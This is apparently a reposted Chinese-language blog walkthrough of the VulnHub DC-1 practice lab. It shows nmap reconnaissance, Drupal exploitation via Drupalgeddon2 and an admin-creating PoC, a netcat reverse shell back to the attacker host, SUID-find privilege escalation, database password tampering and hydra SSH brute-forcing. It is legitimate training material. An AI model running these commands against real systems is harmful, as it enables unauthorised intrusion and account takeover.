VulnHub—DC-1

01 环境搭建

  • 靶机环境下载:https://www.vulnhub.com/entry/dc-1,292/
  • 题目信息如下,环境中有flag文件,里面有hint
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

02 信息收集

将靶机环境恢复到virtualbox之后,开始第一步信息收集工作。

发现靶机

查看攻击机的ip为192.168.56.1(环境恢复时采用Host-Only Adapter)
在这里插入图片描述
使用nmap扫描网段内的ip地址

nmap -sP 192.168.56.1/24

在这里插入图片描述扫描发现的192.168.56.16就是目标靶机的ip地址。

端口扫描

使用nmap对目标靶机开放的端口进行扫描

nmap -Pn -n -sV 192.168.56.16

在这里插入图片描述发现目标靶机开放了3个tcp端口,22,80,111。

遍历目录

访问80端口,是一个drupal登录页面。
在这里插入图片描述
使用dirb扫描web目录,没有发现特殊的目录,文件。

03 Get Shell

metasploit

使用metasploit搜索drupal的poc,挨个尝试,发现unix/webapp/drupal_drupalgeddon2可以打成功,获取到shell
在这里插入图片描述

exploitdb

搜索exploitdb有个创建管理员账户的poc,新增一个test/test账户。
在这里插入图片描述
使用test账户登录drupal,进入module管理页面
在这里插入图片描述导入shell module
在这里插入图片描述
进入shell指令页面,可以执行linux命令
在这里插入图片描述
执行反弹shell命令,即可在本地获得shell

nc 192.168.56.1 4444 -e /bin/sh

在这里插入图片描述
在这里插入图片描述

04 提权

获取tty

python -c "import pty;pty.spawn('/bin/bash');"

搜索suid程序

find / -user root -perm -4000 -print 2>/dev/null

发现包含find
在这里插入图片描述
使用find的-exec可以提权到root

find ./ -exec "/bin/sh" \;

在这里插入图片描述
在root目录下发现最终的flag
在这里插入图片描述

05 其他flag

flag1

在获取到shell时,查看当前目录可以发现一个flag1.txt文件。
在这里插入图片描述

flag2

根据flag1的提示,查看drupal的配置文件。drupal的配置文件在sites/default/settings.php
在这里插入图片描述
在配置文件中发现flag2,且其中还有数据库的账户dbuser/R0ck3t

flag3

使用数据库账户登录数据库,查看数据库和表

mysql -u dbuser -p

在这里插入图片描述
在这里插入图片描述
里面有个users的表
在这里插入图片描述
可以根据pass来爆破账户密码。不过flag2中提示不用爆破的方式。通过更新数据库来更改admin账户密码。直接通过openssl产生hash密码更新后,登录失败。查询后发现需要通过调用user_hash_password来生成密码。http://drupalchina.cn/forum/1215.html

打开网站首页的index.php。然后把下面一段代码放进去
require_once ‘includes/password.inc’;
echo user_hash_password(‘admin123′);
die();

访问首页就可以得到admin123的密文。
在这里插入图片描述
update命令更新admin账户的密码
在这里插入图片描述
登录后发现flag3
在这里插入图片描述

flag4

根据flag3提示,查看passwd
在这里插入图片描述
发现有一个flag4账户。尝试访问/home/flag4目录,有权限,能获取到flag4
在这里插入图片描述
如果要提权到root,就根据flag3提示,搜索suid,具体见上文04 提权
看了其他poc,发现还可以用hydra来爆破flag4账户到密码

hydra -l flag4 -P rockyou,txt 192.168.56.16 ssh

最后密码为orange

发布了14 篇原创文章 · 获赞 0 · 访问量 348

猜你喜欢

转载自blog.csdn.net/weixin_39219503/article/details/104109920